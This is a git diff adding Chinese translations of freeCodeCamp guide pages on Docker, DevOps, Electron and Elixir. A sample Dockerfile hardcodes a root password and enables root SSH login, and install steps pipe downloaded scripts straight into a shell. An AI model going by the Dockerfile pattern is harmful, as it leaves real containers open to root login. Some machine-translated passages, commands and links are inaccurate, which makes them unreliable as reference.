+ latest: Pulling from library/hello-world 
+ ca4f61b1923c: Pull complete 
+ Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7 
+ Status: Downloaded newer image for hello-world:latest 
+ 
+ Hello from Docker! 
+ This message shows that your installation appears to be working correctly. 
+ ... 
+```
+
+### 那么什么是集装箱化：
+
+简而言之，它只不过是一个进程/应用程序的打包，它依赖于可以独立运行的可分发映像。
+
+### 为什么我们需要Docker：
+
+它使软件工程师的生活非常顺利，因为他们将始终在相同的开发环境中工作。 它有助于与客户/其他团队共享最终产品，而无需担心环境问题。 它通过不浪费不必要的操作系统层来减少运行应用程序所需的硬件数量。
+
+## 基本的Docker概念
+
+### Docker引擎
+
+Docker引擎是Docker运行的层。它是一个轻量级的运行时和工具，可以管理容器，图像，构建等。它在Linux系统上本机运行，由以下部分组成：
+
+1.  在主机中运行的Docker守护程序。
+    
+2.  Docker客户端，然后与Docker守护程序通信以执行命令。
+    
+3.  用于远程与Docker守护程序交互的REST API。
+    
+
+### Docker客户端
+
+Docker客户端就像Docker的最终用户一样与之通信。可以把它想象成Docker的UI。
+
+### Docker守护进程
+
+Docker守护程序实际上是执行发送到Docker Client的命令 - 比如构建，运行和分发容器。 Docker守护程序在主机上运行，​​但作为用户，您永远不会直接与守护程序通信。 Docker Client也可以在主机上运行，​​但不是必需的。它可以在不同的计算机上运行，​​并与在主机上运行的Docker守护程序进行通信。
+
+### Dockerfile
+
+您可以在Dockerfile中编写构建Docker镜像的说明。这些说明可以是： **运行apt-get y install some-package** ：安装软件包 **EXPOSE 8000** ：暴露端口 **ENV ANT\_HOME / usr / local / apache-ant**传递环境变量等等。一旦设置了Dockerfile，就可以使用docker build命令从中构建映像。这是Dockerfile的一个例子：
+```
+# Start with ubuntu 14.04 
+ FROM ubuntu:14.04 
+ 
+ MAINTAINER freeCodeCamp@gmail.com 
+ 
+ # For SSH access and port redirection 
+ ENV ROOTPASSWORD sample 
+ 
+ # Turn off prompts during installations 
+ ENV DEBIAN_FRONTEND noninteractive 
+ RUN echo "debconf shared/accepted-oracle-license-v1-1 select true" | debconf-set-selections 
+ RUN echo "debconf shared/accepted-oracle-license-v1-1 seen true" | debconf-set-selections 
+ 
+ # Update packages 
+ RUN apt-get -y update 
+ 
+ # Install system tools / libraries 
+ RUN apt-get -y install python3-software-properties \ 
+    software-properties-common \ 
+    bzip2 \ 
+    ssh \ 
+    net-tools \ 
+    vim \ 
+    curl \ 
+    expect \ 
+    git \ 
+    nano \ 
+    wget \ 
+    build-essential \ 
+    dialog \ 
+    make \ 
+    build-essential \ 
+    checkinstall \ 
+    bridge-utils \ 
+    virt-viewer \ 
+    python-pip \ 
+    python-setuptools \ 
+    python-dev 
+ 
+ # Install Node, npm 
+ RUN curl -sL https://deb.nodesource.com/setup_4.x | sudo -E bash - 
+ RUN apt-get install -y nodejs 
+ 
+ # Add oracle-jdk7 to repositories 
+ RUN add-apt-repository ppa:webupd8team/java 
+ 
+ # Make sure the package repository is up to date 
+ RUN echo "deb http://archive.ubuntu.com/ubuntu precise main universe" > /etc/apt/sources.list 
+ 
+ # Update apt 
+ RUN apt-get -y update 
+ 
+ # Install oracle-jdk7 
+ RUN apt-get -y install oracle-java7-installer 
+ 
+ # Export JAVA_HOME variable 
+ ENV JAVA_HOME /usr/lib/jvm/java-7-oracle 
+ 
+ # Run sshd 
+ RUN apt-get install -y openssh-server 
+ RUN mkdir /var/run/sshd 
+ RUN echo "root:$ROOTPASSWORD" | chpasswd 
+ RUN sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/' /etc/ssh/sshd_config 
+ 
+ # SSH login fix. Otherwise user is kicked off after login 
+ RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd 
+ 
+ # Expose Node.js app port 
+ EXPOSE 8000 
+ 
+ # Create tap-to-android app directory 
+ RUN mkdir -p /usr/src/my-app 
+ WORKDIR /usr/src/my-app 
+ 
+ # Install app dependencies 
+ COPY . /usr/src/my-app 
+ RUN npm install 
+ 
+ # Add entrypoint 
+ ADD entrypoint.sh /entrypoint.sh 
+ RUN chmod +x /entrypoint.sh 
+ ENTRYPOINT ["/entrypoint.sh"] 
+ 
+ CMD ["npm", "start"] 
+```
+
+#### 更多信息：
+
+*   [初学友好的文档](https://medium.freecodecamp.org/a-beginner-friendly-introduction-to-containers-vms-and-docker-79a9e3e119b)
+*   [Docker官方文档](https://docs.docker.com/get-started/)
+*   [试试Docker Online](http://training.play-with-docker.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/devops/index.md b/client/src/guide/chinese/devops/index.md
new file mode 100644
index 0000000000..a5c5b8aa47
--- /dev/null
+++ b/client/src/guide/chinese/devops/index.md
@@ -0,0 +1,28 @@
+---
+title: DevOps
+localeTitle: DevOps的
+---
+## DevOps的
+
+![开发周期](http://blog.xebialabs.com/wp-content/uploads/2016/03/DevOps-cycle-PPT-COLOURS.png)
+
+DevOps是开发和运营功能之间的工作集成。这样做的一种方法是在开发，测试和生产环境之间迁移时自动化软件的集成和部署方式。这有利于软件的安装过程，从而理想地减少出错的机会。
+
+或者，软件开发可以在孤岛内完成。一个孤岛负责接收功能请求，然后将其转换为使用任何编程语言的软件组件，并且基本测试在具有虚拟数据的环境中完成。当本地测试完成后，工作产品将被处理到一个单独的运营团队，该团队负责将软件重新安装到支持真实用户流量的单独生产环境中。一旦软件处于此环境中，运营团队就会对代码负责，包括识别任何产品缺陷。如果发现这些缺陷，则会与尝试解决的开发团队共享，然后将新版本的软件交给运营团队。
+
+本节包含介绍DevOps中使用的技术的文章。
+
+### 更多信息
+
+*   [阅读Wikipedia上有关DevOps的更多信息](https://en.wikipedia.org/wiki/DevOps)
+*   [请参阅此视频，了解Devops](https://youtu.be/_I94-tJlovg)
+
+### 资源
+
+本节包含通过MOOC体验学习DevOps的链接。课程可能是付费的。
+
+*   [edX课程](https://www.edx.org/microsoft-professional-program-front-end-development)
+
+### 实验室
+
+[DevOps的](https://github.com/Microsoft/TechnicalCommunityContent/tree/master/DevOps)
\ No newline at end of file
diff --git a/client/src/guide/chinese/devops/puppet/index.md b/client/src/guide/chinese/devops/puppet/index.md
new file mode 100644
index 0000000000..e67d96b7e2
--- /dev/null
+++ b/client/src/guide/chinese/devops/puppet/index.md
@@ -0,0 +1,13 @@
+---
+title: Puppet
+localeTitle: 木偶
+---
+## 木偶
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/devops/docker/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[官方Puppet文档](https://puppet.com/docs/puppet/5.3/architecture.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/devops/saltstack/index.md b/client/src/guide/chinese/devops/saltstack/index.md
new file mode 100644
index 0000000000..659040d676
--- /dev/null
+++ b/client/src/guide/chinese/devops/saltstack/index.md
@@ -0,0 +1,13 @@
+---
+title: Saltstack Server
+localeTitle: 盐堆服务器
+---
+## Saltstack Server
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/devops/saltstack/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[Saltstack Server Docs](https://saltstack.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/devops/terraform/index.md b/client/src/guide/chinese/devops/terraform/index.md
new file mode 100644
index 0000000000..84846dbaa6
--- /dev/null
+++ b/client/src/guide/chinese/devops/terraform/index.md
@@ -0,0 +1,12 @@
+---
+title: Terraform
+localeTitle: Terraform
+---
+## Terraform
+
+Terraform是HashiCorp的代码软件基础设施。它允许用户定义数据中心 高级配置语言中的基础结构，可以从中创建执行计划 在服务提供商（如OpenStack）或服务提供商（如。）中构建基础架构 IBM Cloud（以前称为Bluemix），AWS，Microsoft Azure或Google Cloud Platform。基础设施已定义 采用HCL Terraform语法或JSON格式。
+
+#### 更多信息：
+
+*   [官方网站](https://www.terraform.io)
+*   [GitHub上的Terraform](https://https://github.com/hashicorp/terraform)
\ No newline at end of file
diff --git a/client/src/guide/chinese/docker/docker-build/index.md b/client/src/guide/chinese/docker/docker-build/index.md
new file mode 100644
index 0000000000..c692d62b54
--- /dev/null
+++ b/client/src/guide/chinese/docker/docker-build/index.md
@@ -0,0 +1,18 @@
+---
+title: Docker build
+localeTitle: Docker构建
+---
+## Docker构建
+
+docker `docker build`从Dockerfile和“context”创建了一个docker镜像。上下文可以是URL或本地PATH。您可以使用可选的`-t`标记命名图像。
+
+Dockerfile将在构建命令期间从指定的URL或本地PATH安装依赖项。必须在Dockerfile中指定容器中所需的任何依赖项。
+
+您的映像现在存储在计算机的本地Docker映像注册表中。
+
+构建Docker容器后，可以使用相应的运行命令运行应用程序。
+
+#### 更多信息：
+
+*   [Docker CLI docs：build](https://docs.docker.com/engine/reference/commandline/rm/)
+*   [Docker构建您的应用程序](https://docs.docker.com/get-started/part2/#build-the-app)
\ No newline at end of file
diff --git a/client/src/guide/chinese/docker/docker-compose/index.md b/client/src/guide/chinese/docker/docker-compose/index.md
new file mode 100644
index 0000000000..2f66ceb0df
--- /dev/null
+++ b/client/src/guide/chinese/docker/docker-compose/index.md
@@ -0,0 +1,46 @@
+---
+title: Docker compose
+localeTitle: Docker撰写
+---
+## Docker撰写
+
+Docker-Compose是一个用于定义和运行多容器Docker应用程序的工具。使用Compose，您可以使用YAML文件来配置应用程序的服务。
+
+使用docker-compose的步骤是
+```
+1)create a Dockerfile which defines the image and can be produsable every where. 
+```
+
+```
+2)create a docke-compose yml file to run the services 
+```
+
+```
+3)use docker-compose up to start the sevices specified in docker-compose.yml file 
+```
+
+#### docker-compose中的基本命令
+
+*   运行docker-containers的命令
+```
+docker-compose -f docker-compose.yml up 
+```
+
+*   用于以分离模式运行容器的命令
+```
+docker-compose -f docker-compose.yml up -d 
+```
+
+*   再次构建映像后运行容器的命令（注意：我们第一次运行docker container build会自动发生）
+```
+docker-compose -f docker-compose.yml --build -d 
+```
+
+*   在分离模式下运行时停止容器的命令
+```
+docker-compose -f docker-compose.yml down 
+```
+
+#### 更多信息：
+
+*   \[有关Docker-compose的更多信息\] （https://docs.docker.com/compose/）
\ No newline at end of file
diff --git a/client/src/guide/chinese/docker/docker-detached-mode/index.md b/client/src/guide/chinese/docker/docker-detached-mode/index.md
new file mode 100644
index 0000000000..254f0684a2
--- /dev/null
+++ b/client/src/guide/chinese/docker/docker-detached-mode/index.md
@@ -0,0 +1,17 @@
+---
+title: Docker detached mode
+localeTitle: Docker分离模式
+---
+## Docker分离模式
+
+分离模式（由`--detach`或`-d`选项显示）表示Docker容器在终端的后台运行。它不接收输入或显示输出。
+```
+docker run -d IMAGE 
+```
+
+如果您在后台运行容器，可以使用`docker ps`找到它们的详细信息，然后将终端重新连接到其输入和输出。
+
+#### 更多信息：
+
+*   [连接到正在运行的容器和从中分离Docker文档](https://docs.docker.com/engine/reference/commandline/attach/#examples)
+*   [分离vs前景| Docker文档](https://docs.docker.com/engine/reference/run/#detached-vs-foreground)
\ No newline at end of file
diff --git a/client/src/guide/chinese/docker/docker-rm/index.md b/client/src/guide/chinese/docker/docker-rm/index.md
new file mode 100644
index 0000000000..b2c05af1a5
--- /dev/null
+++ b/client/src/guide/chinese/docker/docker-rm/index.md
@@ -0,0 +1,26 @@
+---
+title: Docker rm
+localeTitle: Docker rm
+---
+## Docker rm
+
+`docker rm`按名称或ID删除容器。
+
+当Docker容器运行时，首先需要在删除它们之前停止它们。
+
+*   停止所有正在运行的容器： `docker stop $(docker ps -a -q)`
+*   删除所有已停止的容器： `docker rm $(docker ps -a -q)`
+
+### 删除多个容器
+
+您可以通过将命令传递给要删除的容器列表来停止和删除多个容器。 shell语法`$()`返回括号内执行的结果。因此，您可以在其中创建容器列表以传递给`stop`和`rm`命令。
+
+##### 这是docker ps -a -q的细分
+
+*   `docker ps`列表容器
+*   `-a`列出所有容器的选项，甚至是已停止的容器。如果没有这个，它默认只列出正在运行的容器
+*   `-q` quiet选项只提供容器数字ID，而不是整个容器信息表
+
+#### 更多信息：
+
+*   [Docker CLI文档：rm](https://docs.docker.com/engine/reference/commandline/rm/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/docker/docker-rmi/index.md b/client/src/guide/chinese/docker/docker-rmi/index.md
new file mode 100644
index 0000000000..6884fa953d
--- /dev/null
+++ b/client/src/guide/chinese/docker/docker-rmi/index.md
@@ -0,0 +1,29 @@
+---
+title: Docker rmi
+localeTitle: Docker rmi
+---
+## Docker rmi
+
+`docker rmi`通过ID删除图像。
+
+要删除图像，首先需要列出所有图像以获取图像ID，图像名称和其他详细信息。通过运行简单的命令`docker images -a`或`docker images` 。
+
+之后你确定要删除哪个图像，执行这个简单的命令`docker rmi <your-image-id>` 。然后，您可以通过列出所有图像确认图像是否已被删除并检查。
+
+### 删除多个图像
+
+当您想要删除多个特定图像时，有一种方法可以一次删除多个图像。因此，首先通过列出图像然后执行简单的跟随命令来获取图像ID。
+
+`docker rmi <your-image-id> <your-image-id> ...`
+
+在命令中写入图像ID，后跟它们之间的空格。
+
+### 一次删除所有图像
+
+要删除所有图像，只需执行一个简单的命令即可。 `docker rmi $(docker images -q)`
+
+在上面的命令中，有两个命令，第一个在`$()`执行的命令是shell语法，并返回在该语法中执行的结果。所以在这个`-q- is a option is used to provide to return the unique IDs,` $（）返回图像ID的结果，然后`docker rmi`删除所有这些图像。
+
+#### 欲获得更多信息：
+
+*   [Docker CLI文档：rmi](https://docs.docker.com/engine/reference/commandline/rm/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/docker/index.md b/client/src/guide/chinese/docker/index.md
new file mode 100644
index 0000000000..8bb36e82b1
--- /dev/null
+++ b/client/src/guide/chinese/docker/index.md
@@ -0,0 +1,36 @@
+---
+title: Docker
+localeTitle: 搬运工人
+---
+## 搬运工人
+
+Docker是一个用于构建，发布和运行分布式应用程序的开放平台。它是用Go编写的。它于2013年首次发布，由Docker，Inc。开发。
+
+Docker用于运行名为“containers”的包。容器彼此隔离并与操作系统隔离。它们比虚拟机更轻量级，因为它们不使用主机来运行操作系统。
+
+容器化是一种部署和运行应用程序的方法，它运行在Linux内核上本机运行的独立服务。可以为Docker中的每个容器手动设置内存。
+
+Docker用于简化配置，并确保顺畅的持续集成和部署流程。可以为开发，登台和生产环境指定特定容器。根据Docker手册，生产中容器的真正实现是将其作为服务运行，使用`docker-compose.yml`文件进行设置。这是一个YAML文件，用于定义Docker容器在生产中的行为方式。
+
+Docker最大的优势之一是它可以由使用不同操作系统的团队使用来构建项目，而无需担心软件冲突。
+
+### 安装
+
+*   Ubuntu： `sudo apt install docker`
+    
+*   RedHat： `yum install docker-ce`
+    
+*   Windows / macOS： [下载](https://www.docker.com/get-started)
+    
+*   Linux的：
+    
+```
+curl -fsSL https://get.docker.com -o get-docker.sh 
+ sh get-docker.sh 
+```
+
+#### 更多信息：
+
+*   有关下载和文档，请查看docker官方站点： [Docker官方站点](https://www.docker.com)
+*   有关容器化的更多信息，请结帐[搜索IT操作](https://searchitoperations.techtarget.com/definition/application-containerization-app-containerization)
+*   Docker 101课程[Docker 101](https://github.com/docker/labs/tree/master/beginner/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/docker/separate-build-image/index.md b/client/src/guide/chinese/docker/separate-build-image/index.md
new file mode 100644
index 0000000000..34066b3fc8
--- /dev/null
+++ b/client/src/guide/chinese/docker/separate-build-image/index.md
@@ -0,0 +1,81 @@
+---
+title: Separate Build Image
+localeTitle: 单独构建映像
+---
+## 概观
+
+制作轻量级泊坞窗图像是拥有快速开发/部署管道的关键。对于已编译的代码，在docker容器内构建二进制文件的好处是可重复和标准化的构建过程。然而，这可能会产生非常大的图像，这可能成为一个问题。
+
+## 我们的代码
+
+在这个例子中，我们将使用[Go中](https://golang.org/)编写的简单Web服务器。以下代码只是一个简单的hello world webserver，它监听端口`8080` 。
+
+```go
+package main 
+ 
+ import ( 
+    "fmt" 
+    "log" 
+    "net/http" 
+ ) 
+ 
+ func handler(w http.ResponseWriter, r *http.Request) { 
+    fmt.Fprint(w, "Hello world!") 
+ } 
+ 
+ func main() { 
+    http.HandleFunc("/", handler) 
+    log.Fatal(http.ListenAndServe(":8080", nil)) 
+ } 
+```
+
+### Dockerfile
+
+此代码的Dockerfile可能如下所示
+```
+FROM golang:1.11 
+ 
+ ADD . /app 
+ 
+ WORKDIR /app 
+ 
+ RUN go build -o /myserver . 
+ 
+ EXPOSE 8080 
+ 
+ CMD [ "/myserver" ] 
+```
+
+构建此图像会生成大小为783MB的图像！使用适合简单应用程序的大小的图像，很容易看出这在部署时如何减慢速度。
+
+## 更好的解决方案
+
+更好的解决方案是使用单独的构建映像来构建二进制文件，然后将其复制到最终图像。由于Go生成一个独立的二进制文件，我们可以使用`scratch` docker镜像作为基础，它的大小一样小！
+
+### Dockerfile
+
+以下Dockerfile将首先在golang图像中构建二进制文件，然后从头开始构建新图像，将二进制文件从第一个图像复制到第二个图像。
+```
+FROM golang:1.11 as build 
+ 
+ ADD . /app 
+ 
+ WORKDIR /app 
+ 
+ RUN go build -o /myserver . 
+ 
+ 
+ FROM scratch 
+ 
+ COPY --from=build /myserver /myserver 
+ 
+ EXPOSE 8080 
+ 
+ CMD [ "myserver" ] 
+```
+
+从这个dockerfile构建，最终图像大小只有6.55MB！这比我们的第一次尝试**小100多倍** ，使得从注册表中提取图像的速度提高了100倍！
+
+### 奖金福利
+
+我们现在不仅为我们的应用程序提供了一个很小的docker镜像，我们也只需担心应用程序的安全性，因为容器内没有其他软件运行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/documentation/index.md b/client/src/guide/chinese/documentation/index.md
new file mode 100644
index 0000000000..a49b649027
--- /dev/null
+++ b/client/src/guide/chinese/documentation/index.md
@@ -0,0 +1,13 @@
+---
+title: Code documentation
+localeTitle: 代码文档
+---
+## 代码文档
+
+代码文档是开发人员编写代码以创建其功能的最佳版本的一种方式。代码文档使新手能够熟悉特定模块的特定模块，函数等对特定编程语言的习惯。总是建议在调试代码之前使用文档，这有助于您有效地进行调试。例如，您应该能够将您的代码传递给绝对的初学者，他们应该能够以间隔，可读的方式跟随注释，适当的变量名称和结构化代码。
+
+通过评论函数，循环和声明以及将注释视为源代码的一部分来养成习惯可能成为一个非常重要的想法，就像常规代码一样。
+
+![在现实世界中评论的一个例子](https://cdn-images-1.medium.com/max/1620/1*Pyxsc7Uixbitv5myywaA_Q.jpeg)
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/electron/index.md b/client/src/guide/chinese/electron/index.md
new file mode 100644
index 0000000000..c9f0286be7
--- /dev/null
+++ b/client/src/guide/chinese/electron/index.md
@@ -0,0 +1,30 @@
+---
+title: Electron
+localeTitle: 电子
+---
+## Electron - 使用JavaScript，HTML和CSS构建跨平台桌面应用程序
+
+Electron允许您使用Web技术构建跨平台桌面应用程序。您 可以为Windows，Mac和最常见的Linux版本构建桌面应用程序。
+
+Electron基于Chromium（谷歌浏览器的开源版本）。您 使用HTML，JavaScript和CSS等Web技术构建Electron应用程序。那 意味着您可以使用大多数想要构建本机桌面应用程序的Web技术。例如，您可以使用[React](https://medium.freecodecamp.org/building-an-electron-application-with-create-react-app-97945861647c)或[Angular](https://scotch.io/tutorials/creating-desktop-applications-with-angularjs-and-github-electron)来构建您的第一个桌面应用程序。
+
+此外，Electron还支持自动更新，崩溃报告， 和原生菜单。
+
+可以使用[Electron API演示](https://github.com/electron/electron-api-demos)探索核心功能
+
+使用Electron构建的一些应用包括：
+
+*   [Atom](https://atom.io/) （GitHub的开源文本编辑器）
+*   [Visual Studio Code](https://code.visualstudio.com) （微软的开源文本编辑器）
+*   [Skype](https://www.skype.com/) （微软流行的视频聊天应用程序）
+*   [Slack](https://slack.com/) （团队的消息传递应用程序）
+*   [Discord](https://discordapp.com) （适合游戏玩家的流行消息应用）
+*   [Github Desktop](https://desktop.github.com/) （官方Github桌面客户端）
+
+### 其他信息参考
+
+*   [官方网站](https://electronjs.org/)
+*   [视频 - 什么是电子](https://www.youtube.com/watch?v=8YP_nOCO-4Q&feature=youtu.be)
+*   \[Electron and Vue\]：https：//medium.com/@kswanie21/electron-vue-js-f6c40abeb625
+*   \[Electron and React\]：https：//medium.freecodecamp.org/building-an-electron-application-with-create-react-app-97945861647c
+*   \[电子和角度\]：https：//scotch.io/tutorials/creating-desktop-applications-with-angularjs-and-github-electron
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/behaviours/index.md b/client/src/guide/chinese/elixir/behaviours/index.md
new file mode 100644
index 0000000000..3fe181d340
--- /dev/null
+++ b/client/src/guide/chinese/elixir/behaviours/index.md
@@ -0,0 +1,11 @@
+---
+title: Behaviours
+localeTitle: 行为
+---
+## 行为
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/behaviours/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/comprehensions/index.md b/client/src/guide/chinese/elixir/comprehensions/index.md
new file mode 100644
index 0000000000..f581849160
--- /dev/null
+++ b/client/src/guide/chinese/elixir/comprehensions/index.md
@@ -0,0 +1,11 @@
+---
+title: Comprehensions
+localeTitle: 推导
+---
+## 推导
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/comprehensions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/concurrency/index.md b/client/src/guide/chinese/elixir/concurrency/index.md
new file mode 100644
index 0000000000..3ded1ca3aa
--- /dev/null
+++ b/client/src/guide/chinese/elixir/concurrency/index.md
@@ -0,0 +1,11 @@
+---
+title: Concurrency
+localeTitle: 并发
+---
+## 并发
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/concurrency/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/control-structures/index.md b/client/src/guide/chinese/elixir/control-structures/index.md
new file mode 100644
index 0000000000..4915315064
--- /dev/null
+++ b/client/src/guide/chinese/elixir/control-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Control Structures
+localeTitle: 控制结构
+---
+## 控制结构
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/control-structures/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/custom-mix-tasks/index.md b/client/src/guide/chinese/elixir/custom-mix-tasks/index.md
new file mode 100644
index 0000000000..6a86a25f99
--- /dev/null
+++ b/client/src/guide/chinese/elixir/custom-mix-tasks/index.md
@@ -0,0 +1,11 @@
+---
+title: Custom Mix Tasks
+localeTitle: 自定义混合任务
+---
+## 自定义混合任务
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/custom-mix-tasks/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/data-types/index.md b/client/src/guide/chinese/elixir/data-types/index.md
new file mode 100644
index 0000000000..ec62d78a1e
--- /dev/null
+++ b/client/src/guide/chinese/elixir/data-types/index.md
@@ -0,0 +1,72 @@
+---
+title: Data Types
+localeTitle: 数据类型
+---
+## 数据类型
+
+在Elixir中有五种基本数据类型：整数，浮点数，布尔值，原子和字符串。这些数据类型用于存储值，以便以后在程序中使用。
+
+### 整型
+
+整数是非十进制数。 Elixir内置支持二进制，八进制和十六进制数字作为整数。
+
+```elixir
+iex> 1337 
+ 1337 
+```
+
+### 花车
+
+浮点数需要小数，小数点后至少需要一位数。 Floats支持64位双精度和`e`表示exponets。
+
+```elixir
+iex> 27e-100 
+ 27e-100 
+```
+
+### 布尔
+
+布尔值是true或false值。在Elixir中，除了`false`和`nil`之外，一切都是真实的。重要的是要注意布尔值是Elxir原子的子类型（您可以检查IEX中的值以便自己查看）。
+
+```elixir
+iex> true 
+ true 
+ iex> false 
+ false 
+ iex> nil 
+ nil 
+```
+
+### 原子
+
+原子是一个常量，其值与名称相同。原子通常用于元组内的状态/错误消息，字符串中包含更多信息。
+
+```elixir
+iex> {:ok, "Message sent successfully"} 
+ {:ok, "Message sent successfully"} 
+ iex> {:error, "Message failed to send"} 
+ {:error, "Message failed to send"} 
+```
+
+### 字符串
+
+字符串是UTF-8编码的并用双引号括起来。
+
+```elixir
+iex> "freeCodeCamp" 
+ "freeCodeCamp" 
+```
+
+字符串也是二进制文件，通过将`<> <<0>>`附加到字符串的末尾，可以在Elixir中看到字符串的二进制表示。字符串可以表示二进制，二进制也可以表示字符串。
+
+```elixir
+iex> "freeCodeCamp" <> <<0>> 
+ <<102, 114, 101, 101, 67, 111, 100, 101, 67, 97, 109, 112, 0>> 
+```
+
+#### 更多信息
+
+*   [Hexdocs Atom](https://hexdocs.pm/elixir/Atom.html)
+*   [Hexdocs字符串](https://hexdocs.pm/elixir/String.html)
+*   [Hexdocs整数](https://hexdocs.pm/elixir/Integer.html)
+*   [Hexdocs Float](https://hexdocs.pm/elixir/Float.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/debugging/index.md b/client/src/guide/chinese/elixir/debugging/index.md
new file mode 100644
index 0000000000..bffb63dd8a
--- /dev/null
+++ b/client/src/guide/chinese/elixir/debugging/index.md
@@ -0,0 +1,11 @@
+---
+title: Debugging
+localeTitle: 调试
+---
+## 调试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/debugging/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/documentation/index.md b/client/src/guide/chinese/elixir/documentation/index.md
new file mode 100644
index 0000000000..153abaf4bb
--- /dev/null
+++ b/client/src/guide/chinese/elixir/documentation/index.md
@@ -0,0 +1,58 @@
+---
+title: Documentation
+localeTitle: 文档
+---
+## 文档
+
+与其他编程语言相比，Elixir最先进的技术之一是其文档系统。 Elixir的文档由您的代码注释创建，并制作成一个漂亮的HTML网站，供您轻松浏览并了解应用程序的工作原理。一旦您了解了如何在Elixir中正确评论您的代码，您就能够轻松地向其他程序员解释您的应用程序如何工作。在下面的示例中，我们将在虚构的Web服务器模块中显示Elixir文档功能的用法。
+
+### 内联文档
+
+内联文档在文本前面使用`#`来描述代码。
+
+```elixir
+def get(path) do 
+    # This is an inline comment for documentation purposes. 
+    "http get request response" 
+  end 
+```
+
+### 模块文档
+
+模块文档描述了模块的用途。 Moduledocs类似于其他编程语言中的多行注释。
+
+```elixir
+defmodule WebServer do 
+  @moduledoc """ 
+    Provides a set of functions to accept and respond to HTTP requests. 
+    This module provides the @get/1, @post/1, and @put/1 functions. 
+  """ 
+ end 
+```
+
+### 功能文档
+
+功能文档描述了单个功能的用途和用法。 Functiondocs与其他编程语言中的多行注释类似。它还显示了该函数的示例，以便另一个程序员知道会发生什么。
+
+```elixir
+  @doc """ 
+    Responds to a get request 
+ 
+    ## Parameters 
+     - path: A path to the desired resource 
+ 
+    ## Examples 
+     - iex> WebServer.get(/documentation.pdf) 
+       "Returning documentation.pdf 
+     - iex> WebServer.get(/downloads.html) 
+       "Returning downloads.html" 
+  """ 
+  def get(path) do 
+    "http get request response" 
+  end 
+```
+
+#### 更多信息：
+
+*   [ElixirSchool - 文档](https://elixirschool.com/en/lessons/basics/documentation/)
+*   [ExDoc](https://github.com/elixir-lang/ex_doc)
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/ecto/index.md b/client/src/guide/chinese/elixir/ecto/index.md
new file mode 100644
index 0000000000..940cb6545d
--- /dev/null
+++ b/client/src/guide/chinese/elixir/ecto/index.md
@@ -0,0 +1,11 @@
+---
+title: Ecto
+localeTitle: 外生
+---
+## 外生
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/ecto/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/embedded-elixir/index.md b/client/src/guide/chinese/elixir/embedded-elixir/index.md
new file mode 100644
index 0000000000..89c1b8a7f4
--- /dev/null
+++ b/client/src/guide/chinese/elixir/embedded-elixir/index.md
@@ -0,0 +1,11 @@
+---
+title: Embedded Elixir
+localeTitle: 嵌入式Elixir
+---
+## 嵌入式Elixir
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/embedded-elixir/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/elixir/enumerables/index.md b/client/src/guide/chinese/elixir/enumerables/index.md
